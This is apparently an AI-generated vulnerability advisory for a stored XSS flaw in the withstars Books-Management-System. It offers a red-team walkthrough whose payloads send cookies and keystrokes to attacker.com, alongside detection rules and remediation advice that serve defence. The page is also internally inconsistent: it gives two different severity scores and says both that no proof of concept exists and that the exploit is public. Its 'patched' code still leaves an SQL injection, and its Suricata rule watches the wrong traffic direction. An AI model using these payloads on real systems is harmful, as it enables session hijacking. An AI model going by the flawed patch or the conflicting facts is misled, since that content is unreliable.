☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-3958

CVE-2025-3958 Vulnerability in withstars
📅 PUBLISHED: 2025-04-27 04:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3958 is a stored cross-site scripting (XSS) vulnerability identified in the withstars Books-Management-System version 1.0. The flaw resides in the /book_edit_do.html file, specifically within the "Name" parameter of the Book Edit Page. An attacker can inject arbitrary JavaScript code that will be executed in the context of any user viewing the affected page. The vendor has confirmed that this product is end-of-life and no longer supported, meaning no official patch will be released. The exploit has been publicly disclosed, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect any NPM, PyPI, Go, or Ruby packages. It is a standalone PHP/HTML application.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The attack can be launched remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim must click on a crafted link or visit a compromised page.
  • Scope (S): Unchanged – The vulnerability does not affect other components.
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on system availability.

Threat Level: Medium. The exploit is public, and the product is unsupported, making it a prime target for low-sophistication attackers.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the book_edit_do.html file. The application fails to sanitize the "Name" input field before storing it in the database and later rendering it on the page. When an administrator or user views the book edit page, the injected script executes in their browser.

Root Cause: The application uses $_GET['Name'] or $_POST['Name'] without any output encoding or input validation. The stored value is directly echoed into the HTML without escaping special characters like <, >, ", ', or &.

Attack Flow:

  1. Attacker identifies the vulnerable parameter Name in /book_edit_do.html.
  2. Attacker submits a request with a malicious payload, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the database.
  4. When any user (including admins) visits the book edit page, the script executes.
  5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// book_edit_do.html (vulnerable)
$name = $_POST['Name'];
$query = "UPDATE books SET name='$name' WHERE id=$id";
mysqli_query($conn, $query);
// Later in the page:
echo "<input type='text' name='Name' value='$name'>";
?>

Patched Code (Hypothetical):

<?php
// book_edit_do.html (patched)
$name = htmlspecialchars($_POST['Name'], ENT_QUOTES, 'UTF-8');
$query = "UPDATE books SET name='$name' WHERE id=$id";
mysqli_query($conn, $query);
// Later in the page:
echo "<input type='text' name='Name' value='$name'>";
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A running instance of withstars Books-Management-System 1.0.
  • Access to the /book_edit_do.html page.

Exploit Steps:

  1. Intercept a request to /book_edit_do.html using a proxy like Burp Suite.
  2. Modify the Name parameter to include a malicious payload:
    Name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Submit the request.
  4. Wait for an admin to view the book edit page. The script will execute and exfiltrate the admin's session cookie.

Example Payloads:

  • Basic alert: <script>alert('XSS')</script>
  • Cookie theft: <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
  • Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Defender)

Detection Steps:

  1. Monitor web server logs for unusual Name parameters containing <script> or onerror attributes.
  2. Use a Web Application Firewall (WAF) to block common XSS patterns.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.
  4. Regularly scan for known XSS payloads in the database.

Lab Setup:

  • Install the vulnerable application in a sandboxed environment (e.g., Docker).
  • Use a tool like sqlmap to test for XSS, but manual testing is recommended.
  • Simulate an attack using the payloads above and observe the behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /book_edit_do.html with Name parameter containing <script> tags.
    • Outbound connections to attacker-controlled domains from the web server.
  • File IOCs:
    • Modified entries in the database books table with name field containing JavaScript.
  • Log IOCs:
    • Web server logs showing POST /book_edit_do.html with suspicious Name values.
    • Error logs showing unexpected script execution.

Detection Engineering

YARA Rule

rule Detect_Books_Management_XSS {
    meta:
        description = "Detects XSS payloads in withstars Books-Management-System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3958"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: XSS Attempt on Books-Management-System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts targeting the Name parameter in book_edit_do.html
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/book_edit_do.html'
        cs-uri-query|contains: 'Name='
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in book names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3958 XSS Attempt on Books-Management-System"; flow:to_server,established; content:"POST"; http_method; content:"/book_edit_do.html"; http_uri; content:"Name="; http_client_body; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If the system is still in use, isolate it from the internet and restrict access to trusted IPs only.
  2. Apply virtual patching: Use a WAF to block requests containing XSS patterns in the Name parameter.
  3. Sanitize input: Manually add htmlspecialchars() to the vulnerable file if source code is available.

Long-term Solutions:

  1. Migrate to a supported alternative: Replace the Books-Management-System with a modern, actively maintained solution.
  2. Implement CSP: Add a Content Security Policy header to mitigate the impact of XSS.
  3. Regular security audits: Conduct periodic code reviews and penetration testing.

Patch Status: No official patch is available. The product is end-of-life.


Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is based on publicly available data and should be verified before action.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3958/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.